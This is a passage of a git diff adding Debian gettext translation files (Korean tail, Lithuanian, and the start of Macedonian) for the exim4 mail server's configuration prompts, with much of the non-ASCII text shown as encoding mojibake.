of IP-addresses to listen on. You need to " +#~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." +#~ msgstr "" +#~ "ì—°ê²°ì„ ë°›ì•„ë“¤ì¼ IP 주소 목ë¡ì„ ì½œë¡ ìœ¼ë¡œ 구분해 ìž…ë ¥í•˜ì‹ì‹œì˜¤. IPv6 주소 안" +#~ "ì— ë“¤ì–´ 있는 ì½œë¡ ì€ ì½œë¡ 2개를 ì¨ì•¼ 합니다 (예를 들어 " +#~ "5f03::1200::836f::::)." + +#~ msgid "Configuring Exim v4 (exim4-config)" +#~ msgstr "exim ë²„ì „4 ì„¤ì • (exim4-config)" diff --git a/debian/po/lt.po b/debian/po/lt.po new file mode 100644 index 0000000..2354056 --- /dev/null +++ b/debian/po/lt.po @@ -0,0 +1,661 @@ +# translation of exim4-lt.po to Lithuanian +# +# KÄ™stutis BiliÅ«nas <kebil@kaunas.init.lt>, 2004. +# Gintautas Miliauskas <gintas@akl.lt>, 2004, 2006. +msgid "" +msgstr "" +"Project-Id-Version: exim4-lt\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2008-09-01 17:25+0300\n" +"Last-Translator: Gintautas Miliauskas <gintas@akl.lt>\n" +"Language-Team: Lithuanian <komp_lt@konferencijos.lt>\n" +"Language: lt\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.2\n" +"Plural-Forms: nplurals=3; plural=(n%10==1 && n%100!=11 ? 0 : n%10>=2 && (n" +"%100<10 || n%100>=20) ? 1 : 2);\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Ar paÅ¡alinti neiÅ¡siųstus laiÅ¡kus iÅ¡ paÅ¡to eilÄ—s (spool) aplanko?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"PaÅ¡to eilÄ—s (spool) aplanke /var/spool/exim4/input yra neiÅ¡siųstų laiÅ¡kų. " +"Jei dabar iÅ¡instaliuosite Exim, jie nebus iÅ¡siųsti tol, kol vÄ—l " +"instaliuosite Exim." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Jei Å¡is nustatymas nepasirinktas, paÅ¡to eilÄ—s katalogas paliekamas " +"neiÅ¡trintas, todÄ—l jame esantys laiÅ¡kai gali bÅ«ti iÅ¡siųsti vÄ—liau iÅ¡ naujo " +"instaliavus Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "PerkonfigÅ«ruoti exim4-config vietoje Å¡io paketo" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Exim4 konfigÅ«racija buvo iÅ¡kelta į atskirÄ… paketÄ… exim4-config. Jei norite " +"konfigÅ«ruoti Exim4, įvykdykite „dpkg-reconfigure exim4-config“." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "" +"interneto stotis; paÅ¡to siuntimas ir priÄ—mimas tiesiogiai SMTP protokolu" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "paÅ¡to siuntimas per smarthost; priÄ—mimas per SMTP arba fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "paÅ¡to siuntimas per smarthost; nÄ—ra lokalaus paÅ¡to" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "tik lokalus paÅ¡to pristatymas; tinklo nÄ—ra" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "Å¡iuo metu nekonfigÅ«ruoti" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Bendras paÅ¡to konfigÅ«racijos tipas:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "" +"Pasirinkite paÅ¡to serverio konfigÅ«racijos tipÄ…, geriausiai atitinkantį JÅ«sų " +"poreikius." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"Sistemos su dinaminiu IP adresu (įskaitant sistemas su komutuojamomis " +"telefono linijomis) paprastai turÄ—tų bÅ«ti sukonfigÅ«ruotos persiųsti " +"iÅ¡einantį paÅ¡tÄ… kitam paÅ¡to serveriui, vadinamam „smarthost“, nes daug " +"sistemų internete saugodamosi nuo Å¡iukÅ¡lių nepriima paÅ¡to iÅ¡ dinaminių IP " +"adresų." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Sistema su dinaminiu IP adresu gali gauti savo paÅ¡tÄ… arba vietinis " +"pristatymas gali bÅ«ti visiÅ¡kai iÅ¡jungtas (iÅ¡skyrus paÅ¡tÄ… sistemos " +"administratoriui ir paÅ¡to administratoriui)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Ar tikrai palikti paÅ¡to sistemÄ… nekonfigÅ«ruotÄ…?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Kol paÅ¡to sistema nesukonfigÅ«ruota, ji nebus tinkama darbui ir negali bÅ«ti " +"naudojama. Galite atlikti konfigÅ«ravimÄ… rankiniu bÅ«du (redaguodami " +"konfigÅ«racijos failus) arba administratoriaus teisÄ—mis įvykdÄ™ komandÄ… „dpkg-" +"reconfigure exim4-config“." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "PaÅ¡to sistemos vardas:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"PaÅ¡to sistemos vardas (mail name) – tai domeno vardas, naudojamas adresams " +"be nurodyto domeno vardo." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Šį vardÄ… naudoja ir kitos programos. Tai turÄ—tų bÅ«ti atskiras, pilnas domeno " +"vardas (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Pavyzdžiui, jei vienas iÅ¡ sistemos paÅ¡to adresų yra abc@example.com, tinkama " +"reikÅ¡mÄ— Å¡iam nustatymui bÅ«tų „example.com“." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Å io vardo nebus iÅ¡einanÄių laiÅ¡kų „From:“ antraÅ¡tÄ—je, jei įjungsite " +"perraÅ¡ymÄ…." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Kitos paskirties vietos, kurioms paÅ¡tas turi bÅ«ti priimtas:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Ä®veskite domenų, kuriuos aptarnauja Å¡i sistema (užuot persiuntusi kitai " +"sistemai), sÄ…raÅ¡Ä…. Domenus atskirkite kabliataÅ¡kiais. Å ie domenai dažnai " +"vadinami „vietiniais domenais“. Vietinis paÅ¡to vardas (${fqdn}) ir " +"„localhost“ įskaiÄiuojami į šį sÄ…raÅ¡Ä… automatiÅ¡kai." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Pagal nutylÄ—jimÄ… visi vietiniai domenai bus apdorojami vienodai. Jei „a.pvz“ " +"ir „b.pvz“ yra vietiniai domenai, laiÅ¡kai, adresuoti „petras@a.pvz“ ir " +"„petras@b.pvz“, bus siunÄiami ten pat. Jei skirtingus domenų vardus reikia " +"apdoroti skirtingai, teks redaguoti konfigÅ«racijÄ… rankiniu bÅ«du." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domenai, kurių paÅ¡tÄ… reikia perduoti (relay):" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Ä®veskite gavÄ—jų domenų, kurių paÅ¡tas bus persiunÄiamas, sÄ…raÅ¡Ä…, kad Å¡i " +"sistema galÄ—tų jiems veikti kaip paÅ¡to Å¡liuzas arba atsarginis MX serveris. " +"Å i sistema priims paÅ¡tÄ…, siunÄiamÄ… į Å¡iuos domenus, iÅ¡ bet kurio kompiuterio " +"internete, ir pristatys juos pagal vietinio pristatymo taisykles." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Vietinių domenų raÅ¡yti nereikia. Galima naudoti Å¡ablonus." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Kompiuteriai, kurių paÅ¡tÄ… leidžiama perduoti (relay):" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Ä®veskite kabliataÅ¡kiais atskirtÄ… sÄ…raÅ¡Ä… IP adresų ruožų, kurių paÅ¡tas visada " +"bus persiunÄiamas – Å¡i sistema jiems veiks kaip „smarthost“." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Naudokite standartinį formatÄ… adresas/ilgis (pvz., 194.222.242.0/24 arba " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Jei Å¡i sistema neturÄ—tų bÅ«ti „smarthost“ jokioms kitoms sistemoms, palikite " +"šį sÄ…raÅ¡Ä… tuÅ¡ÄiÄ…." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Domeno vardas vietiniams naudotojams:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Pasirinkote slÄ—pti vietinį paÅ¡to sistemos vardÄ… siunÄiamuose laiÅ¡kuose, " +"todÄ—l bÅ«tina nurodyti domeno vardÄ…, kurį Å¡i sistema turÄ—tų naudoti vietinių " +"naudotojų laiÅ¡kuose kaip domenÄ…." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "„smarthost“ IP adresas arba serverio vardas:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Ä®veskite paÅ¡to serverio, kuris bus naudojamas paÅ¡to siuntimui („smarthost“), " +"IP adresÄ… arba vardÄ…. Jei serveris priima paÅ¡tÄ… nestandartiniu prievadu, " +"priraÅ¡ykite du dvitaÅ¡kius ir prievado numerį (pvz., smarthost.example::587 " +"or 192.168.254.254::2525). DvitaÅ¡kiai IPv6 adresuose turi bÅ«ti dvigubinami." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Jei „smarthost“ serveris naudoja autentikacijÄ…, skaitykite Debian " +"README failus aplanke /usr/share/doc/exim4-base apie tai, kaip " +"sukonfigÅ«ruoti SMTP autentikacijÄ…." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "PaÅ¡to, adresuoto root ir postmaster paskyroms, gavÄ—jas:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"PaÅ¡tas „postmaster“, „root“ ir kitoms sisteminÄ—ms paskyroms turi bÅ«ti " +"peradresuotas tikrajam sistemos administratoriui." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Jei Å¡i reikÅ¡mÄ— paliekama tuÅ¡Äia, tokie laiÅ¡kai bus saugomi /var/mail/mail " +"(nerekuomenduojama)." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Naudotojo „postmaster“ paÅ¡tas turÄ—tų bÅ«ti skaitomas toje sistemoje, kuriai " +"iÅ¡siųstas, o ne persiųstas kitur, todÄ—l bent vienas iÅ¡ pateiktų naudotojų " +"turÄ—tų nenaudoti automatinio paÅ¡to persiuntimo į kitÄ… sistemÄ…. Galite " +"naudoti prefiksÄ… „real-“, jei norite priversti vietinį pristatymÄ…." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Kelios paskyros turi bÅ«ti atskirtos tarpais." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "Vietiniai IP adresai, kuriais laukti įeinanÄių SMTP ryÅ¡ių:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Ä®veskite kabliataÅ¡kiais atskirtų IP adresų sÄ…raÅ¡Ä…. Exim SMTP paÅ¡to priÄ—mimo " +"tarnyba lauks prisijungimų visais Äia nurodytais IP adresais." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Jei paliksite šį laukÄ… tuÅ¡ÄiÄ…, Exim lauks prisijungimų visais tinklo " +"interfeisais." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Jei Å¡is kompiuteris priima elektroninį paÅ¡tÄ… tik tiesiogiai iÅ¡ vietinių " +"tarnybų (o ne iÅ¡ kitų kompiuterių), rekomenduojama uždrausti iÅ¡orinius " +"prisijungimus prie Exim tarnybos. Tarnybų pavyzdžiai: MUA, bendraujantys " +"tik su localhost, fetchmail. Jei Äia įvesta tik 127.0.0.1, iÅ¡oriniai " +"prisijungimai bus neįmanomi, nes nebus klausimasi ant viešų tinklo " +"interfeisų." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Ar minimizuoti DNS užklausų kiekį?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"Paprastai Exim vykdo DNS užklausas įkÄ—limo metu bei priimant / iÅ¡siunÄiant " +"praneÅ¡imus. DNS vardai naudojami pildant žurnalÄ… ir leidžia sumažinti IP " +"adresų skaiÄių Exim nustatymuose." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Jei Å¡is kompiuteris neturi pastovaus priÄ—jimo prie DNS serverio (pvz., " +"naudoja prisiskambinimÄ… pagal pareikalavimÄ…), Å¡i funkcija gali sukelti " +"nepageidaujamų pasekmių,pvz., Exim įkÄ—limo metu arba apdorojant eiles (net " +"jei jose nÄ—ra laukianÄių praneÅ¡imų) gali bÅ«ti inicijuojamas brangus " +"prisiskambinimas." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Å i funkcija turÄ—tų bÅ«ti pasirinkta, jei sistema naudoja skambinimÄ… pagal " +"pareikalavimÄ…. Jei internetas visada prieinamas, Å¡i funkcija turÄ—tų bÅ«ti " +"iÅ¡jungta." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "PaÅ¡to tarnybos konfigÅ«racija" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Ar suskaidyti konfigÅ«racijÄ… į mažas rinkmenas?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Debian exim4 paketai galutinÄ—s konfigÅ«racijos generavimui gali naudoti " +"„neskaidytÄ… konfigÅ«raciją“ (vienÄ… monolitiÅ¡kÄ… failÄ… /etc/exim4/exim4.conf." +"template), arba „suskaidytÄ… konfigÅ«raciją“, sudaryta iÅ¡ maždaug 50 mažesnių " +"failų aplanke /etc/exim4/conf.d/." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Neskaidyta konfigÅ«racija labiau tinka stambiems pakeitimams ir apskritai yra " +"daug stabilesnÄ—, tuo tarpu skaidyta patogesnÄ— nedideliems pakeitimams, bet " +"yra trapesnÄ— ir gali nustoti veikti atlikus didelius pakeitimus." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"PlatesnÄ— diskusija apie neskaidytÄ… ir skaidytÄ… konfigÅ«racijas apraÅ¡yta " +"Debian README failuose aplanke /usr/share/doc/exim4-base." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "SlÄ—pti vietinį paÅ¡to vardÄ… siunÄiamame paÅ¡te?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"SiunÄiamo paÅ¡to antraÅ¡tÄ—s gali bÅ«ti perraÅ¡ytos, kad atrodytų, jog paÅ¡tas " +"iÅ¡siųstas iÅ¡ kitos sistemos. Jei pasirinksite šį nustatymÄ…, „${mailname}“, " +"„localhost“ ir „${dc_other_hostnames}“ antraÅ¡tÄ—se From, Reply-To, Sender ir " +"Return-Path bus perraÅ¡yti." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox formatas /var/mail/ aplanke" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir formatas namų aplanke" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Pristatymo metodas vietiniam paÅ¡tui:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim gali saugoti pristatytÄ… paÅ¡tÄ… keliais formatais. Dažniausiai naudojami " +"mbox ir Maildir. mbox formatu visas paÅ¡tas raÅ¡omas į vienÄ… rinkmenÄ… aplanke /" +"var/mail/. Maildir formatu kiekvienas laiÅ¡kas saugomas atskiroje rinkmenoje " +"aplanke ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"NepamirÅ¡kite, kad dauguma paÅ¡to įrankių Debiane pagal nutylÄ—jimÄ… tikisi " +"„mbox“ pristatymo metodo." + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "Ar perkelti neiÅ¡siųstus laiÅ¡kus iÅ¡ exim(v3) į exim4 paÅ¡to eilÄ™?" + +#, fuzzy +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Exim(v3) (arba exim-tls(v3)) paÅ¡to eilÄ—s kataloge /var/spool/exim/input/ " +#~ "yra neiÅ¡siųstų laiÅ¡kų." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Jei Å¡is nustatymas pasirinktas, laiÅ¡kai bus perkelti į exim4 paÅ¡to eilÄ—s " +#~ "katalogÄ… (/var/spool/exim4/input/), kur jie bus apdorojami exim4." + +#, fuzzy +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Versijos suderinamos tik viena kryptimi: Exim4 gali dirbti su exim(v3) " +#~ "paÅ¡to eile, bet ne atvirkÅ¡Äiai. Perkelkite laiÅ¡kus tik jei neplanuojate " +#~ "grįžti prie exim(v3). Kitu atveju laiÅ¡kus reikÄ—tų perkelti vÄ—liau " +#~ "rankiniu bÅ«du." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "" +#~ "Jei paliksite šį sÄ…raÅ¡Ä… tuÅ¡ÄiÄ…, Exim vietinis pristatymas bus iÅ¡jungtas." diff --git a/debian/po/mk.po b/debian/po/mk.po new file mode 100644 index 0000000..873de42 --- /dev/null +++ b/debian/po/mk.po @@ -0,0 +1,770 @@ +# translation of exim4_debian_po_mk.po to Macedonian +# translation of exim_exim_debian_po_mk.po to +# translation of exim_exim_debian_po_mk.po to +# translation of exim_exim_debian_po_mk.po to +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans# +# Developers do not need to manually edit POT or PO files. +# Georgi Stanojevski <glisha@gmail.com>, 2004. +# Georgi Stanojevski <gogo@stavre>, 2005. +# +msgid "" +msgstr "" +"Project-Id-Version: exim4_debian_po_mk\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2005-07-26 21:11+0200\n" +"Last-Translator: Georgi Stanojevski <gogo@stavre>\n" +"Language-Team: Macedonian <ossm-members@hedona.on.net.mk>\n" +"Language: mk\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.9.1\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "Remove undelivered messages in spool directory?" +msgstr "" +"ОтÑтрани ги пораките кои не Ñе доÑтавени а Ñеуште Ñе во директорумот за " +"праќање?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +#, fuzzy +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"Има пораки во директорумот за праќање на exim /var/spool/exim4/input кои " +"Ñеуште не биле иÑпратени. Може да ги задржиш во Ñлучај да одлучиш да го " +"инÑталираш Exim подоцна или можеш да ги избришеш." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "интернет Ñтрана - поштата Ñе праќа и прима преку СМТП" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "пошта пратена преку друг домаќин - примена преку СМТП или fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: 